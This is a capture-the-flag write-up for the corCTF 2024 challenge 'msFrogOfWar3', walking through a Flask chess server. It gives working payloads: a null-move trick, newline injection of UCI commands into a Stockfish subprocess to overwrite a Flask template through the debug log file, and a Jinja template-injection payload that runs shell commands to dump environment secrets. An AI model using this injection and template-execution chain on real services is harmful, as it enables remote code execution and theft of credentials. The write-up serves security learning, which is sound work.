msFrogOfWar3 corctf2024

431 points - 4 solves - First Blood!

Author: strellic, quintec

Writeup co-authored by ky28059

Challenge Description:

Frog

We’re given a Flask server that looks like this:

from flask import Flask, request, render_template
from flask_socketio import SocketIO, emit
from stockfish import Stockfish
import random

import chess
from stockfish import Stockfish

games = {}

toxic_msges = [
    "?",
    "rip bozo",
    "so bad lmfaoo",
    "ez",
    "skill issue",
    "mad cuz bad",
    "hold this L",
    "L + ratio + you fell off",
    "i bet your main category is stego",
    "have you tried alt+f4?",
    "🤡🤡🤡"
]

win_msges = [
    "lmaooooooooo ur so bad",
    "was that it?",
    "zzzzzzzzzzzzzzzzzzzzzz",
    "hopefully the next game wont be so quick",
    "nice try - jk that was horrible",
    "this aint checkers man"
]

TURN_LIMIT = 15
STOCKFISH_DEPTH = 21
FLAG = "corctf{this_is_a_fake_flag}"

class GameWrapper:
    def __init__(self, emit):
        self.emit = emit
        self.board = chess.Board(chess.STARTING_FEN)
        self.moves = []
        self.player_turn = True

    def get_player_state(self):
        legal_moves = [f"{m}" for m in self.board.legal_moves] if self.player_turn and self.board.fullmove_number < TURN_LIMIT else []

        status = "running"
        if self.board.fullmove_number >= TURN_LIMIT:
            status = "turn limit"

        if outcome := self.board.outcome():
            if outcome.winner is None:
                status = "draw"
            else:
                status = "win" if outcome.winner == chess.WHITE else "lose"

        return {
            "pos": self.board.fen(),
            "moves": legal_moves,
            "your_turn": self.player_turn,
            "status": status,
            "turn_counter": f"{self.board.fullmove_number} / {TURN_LIMIT} turns"
        }

    def play_move(self, uci):
        if not self.player_turn:
            return
        if self.board.fullmove_number >= TURN_LIMIT:
            return
        
        self.player_turn = False

        outcome = self.board.outcome()
        if outcome is None:
            try:
                move = chess.Move.from_uci(uci)
                if move:
                    if move not in self.board.legal_moves:
                        self.player_turn = True
                        self.emit('state', self.get_player_state())
                        self.emit("chat", {"name": "System", "msg": "Illegal move"})
                        return
                    self.board.push_uci(uci)
            except:
                self.player_turn = True
                self.emit('state', self.get_player_state())
                self.emit("chat", {"name": "System", "msg": "Invalid move format"})
                return
        elif outcome.winner != chess.WHITE:
            self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
            return

        self.moves.append(uci)

        # stockfish has a habit of crashing
        # The following section is used to try to resolve this
        opponent_move, attempts = None, 0
        while not opponent_move and attempts <= 10:
            try:
                attempts += 1
                engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
                for m in self.moves:
                    if engine.is_move_correct(m):
                        engine.make_moves_from_current_position([m])
                opponent_move = engine.get_best_move_time(3_000)
            except:
                pass

        if opponent_move != None:
            self.moves.append(opponent_move)
            opponent_move = chess.Move.from_uci(opponent_move)
            if self.board.is_capture(opponent_move):
                self.emit("chat", {"name": "🐸", "msg": random.choice(toxic_msges)})
            self.board.push(opponent_move)
            self.player_turn = True
            self.emit("state", self.get_player_state())

            if (outcome := self.board.outcome()) is not None:
                if outcome.termination == chess.Termination.CHECKMATE:
                    if outcome.winner == chess.BLACK:
                        self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
                    else:
                        self.emit("chat", {"name": "🐸", "msg": "how??????"})
                        self.emit("chat", {"name": "System", "msg": FLAG})
                else: # statemate, insufficient material, etc
                    self.emit("chat", {"name": "🐸", "msg": "That was close... but still not good enough 🐸"})
        else:
            self.emit("chat", {"name": "System", "msg": "An error occurred, please restart"})

app = Flask(__name__, static_url_path='', static_folder='static')
socketio = SocketIO(app, cors_allowed_origins='*')

@app.after_request
def add_header(response):
    response.headers['Cache-Control'] = 'max-age=604800'
    return response

@app.route('/')
def index_route():
    return render_template('index.html')

@socketio.on('connect')
def on_connect(_):
    games[request.sid] = GameWrapper(emit)
    emit('state', games[request.sid].get_player_state())

@socketio.on('disconnect')
def on_disconnect():
    if request.sid in games:
        del games[request.sid]

@socketio.on('move')
def onmsg_move(move):
    try:
        games[request.sid].play_move(move)
    except:
        emit("chat", {"name": "System", "msg": "An error occurred, please restart"})

@socketio.on('state')
def onmsg_state():
    emit('state', games[request.sid].get_player_state())

At first glance, it looks like we need to win against Stockfish in 15 moves to get the flag.

Obviously, winning against max-difficulty Stockfish, much less in 15 moves, is impossible. Curiously, however, the server uses python-chess’s Move class to verify game inputs. Reading the source for Move.from_uci,

    @classmethod
    def from_uci(cls, uci: str) -> Move:
        """
        Parses a UCI string.

        :raises: :exc:`InvalidMoveError` if the UCI string is invalid.
        """
        if uci == "0000":
            return cls.null()
        elif len(uci) == 4 and "@" == uci[1]:
            try:
                drop = PIECE_SYMBOLS.index(uci[0].lower())
                square = SQUARE_NAMES.index(uci[2:])
            except ValueError:
                raise InvalidMoveError(f"invalid uci: {uci!r}")
            return cls(square, square, drop=drop)
        elif 4 <= len(uci) <= 5:
            try:
                from_square = SQUARE_NAMES.index(uci[0:2])
                to_square = SQUARE_NAMES.index(uci[2:4])
                promotion = PIECE_SYMBOLS.index(uci[4]) if len(uci) == 5 else None
            except ValueError:
                raise InvalidMoveError(f"invalid uci: {uci!r}")
            if from_square == to_square:
                raise InvalidMoveError(f"invalid uci (use 0000 for null moves): {uci!r}")
            return cls(from_square, to_square, promotion=promotion)
        else:
            raise InvalidMoveError(f"expected uci string to be of length 4 or 5: {uci!r}")

we can send a “null move” 0000 to pass the turn to Stockfish. Afterwards, Stockfish will play white and we will play black; all we need to do is get checkmated to “win”!

image

socket.emit('move', '0000')
socket.emit('move', 'f7f6')
socket.emit('move', 'g7g5')

Unfortunately, winning is only part one of the challenge; the flag printed to the chat is fake, and looking in run-docker.sh, the real flag lies in the FLAG environment variable passed to docker run:

#!/bin/sh
docker build . -t msfrogofwar3
docker run --rm -it -p 8080:8080 -e FLAG=corctf{real_flag} --name msfrogofwar3 msfrogofwar3

However, looking again at the play_move method in the game server,

        outcome = self.board.outcome()
        if outcome is None:
            try:
                move = chess.Move.from_uci(uci)
                if move:
                    if move not in self.board.legal_moves:
                        self.player_turn = True
                        self.emit('state', self.get_player_state())
                        self.emit("chat", {"name": "System", "msg": "Illegal move"})
                        return
                    self.board.push_uci(uci)
            except:
                self.player_turn = True
                self.emit('state', self.get_player_state())
                self.emit("chat", {"name": "System", "msg": "Invalid move format"})
                return
        elif outcome.winner != chess.WHITE:
            self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
            return

        self.moves.append(uci)

it looks like winning lets us push unchecked moves to self.moves, which then get passed to engine.is_move_correct:

        while not opponent_move and attempts <= 10:
            try:
                attempts += 1
                engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
                for m in self.moves:
                    if engine.is_move_correct(m):
                        engine.make_moves_from_current_position([m])
                opponent_move = engine.get_best_move_time(3_000)

The server uses the stockfish python library, which uses a subprocess to launch and communicate with the Stockfish engine.

        self._stockfish = subprocess.Popen(
            self._path,
            universal_newlines=True,
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
        )

Reading the stockfish library source code for is_move_correct,

    def is_move_correct(self, move_value: str) -> bool:
        """Checks new move.

        Args:
            move_value:
              New move value in algebraic notation.

        Returns:
            True, if new move is correct, else False.
        """
        old_self_info = self.info
        self._put(f"go depth 1 searchmoves {move_value}")
        is_move_correct = self._get_best_move_from_sf_popen_process() is not None
        self.info = old_self_info
        return is_move_correct
    def _put(self, command: str) -> None:
        if not self._stockfish.stdin:
            raise BrokenPipeError()
        if self._stockfish.poll() is None and not self._has_quit_command_been_sent:
            self._stockfish.stdin.write(f"{command}\n")
            self._stockfish.stdin.flush()
            if command == "quit":
                self._has_quit_command_been_sent = True

Therefore, by circumventing the move checking, we can control move_value and send arbitrary commands to the Stockfish process.

Stockfish documents its supported UCI commands and functionality here. Of particular note is

setoption name Debug Log File value [file path]

which causes Stockfish to log all incoming and outbound interactions to the specified file path. We can get a simple proof-of-concept attack by making Stockfish log to the configured Flask static dir:

image

Putting it all together

We now have the ability to write to any file and possibly overwrite the contents of that file.

The source code gives hint to a vulnerable file.

@app.route('/')
def index_route():
    return render_template('index.html')

By writing to /app/templates/index.html we can get flask to render whatever was in the debug log file as a template.

Anything between {{ and }} will be evaluated as a template expression.

Flask caches templates, so we would want to start a new instance of the flask application, and not view the webpage just yet.

After starting an instance we can send our moves to the server manually using a common flask ssti payload to run shell commands.

const socket = io("https://msfrogofwar3-uuid.be.ax"/);
socket.emit('move', '0000')
socket.emit('move', 'f7f6')
socket.emit('move', 'g7g5')
socket.emit('move', "e6e7\nsetoption name Debug Log File value /app/templates/index.html\n{{ ''.__class__.mro()[1].__subclasses__()[568]('env', shell=True, stdout=-1).communicate() }}\n")

Ensure you do not open the webpage until you have sent the payload, as the template will be cached and our custom debug log template will never be rendered.

Ensure you do not open the webpage until you have sent the payload, as the template will be cached and our custom debug log template will never be rendered.

This replaces the index.html template with the output of the command env. We can now view the webpage to see the output of the command giving us the flag.

corctf{“Whatever you do, don’t reveal all your techniques in a CTF challenge, you fool, you moron.” - Sun Tzu, The Art of War}

Summary

Overall this challenge only got four solves making it one of the harder..? challenges, and definitely one of the most unique. We got first blood after over 24 hours!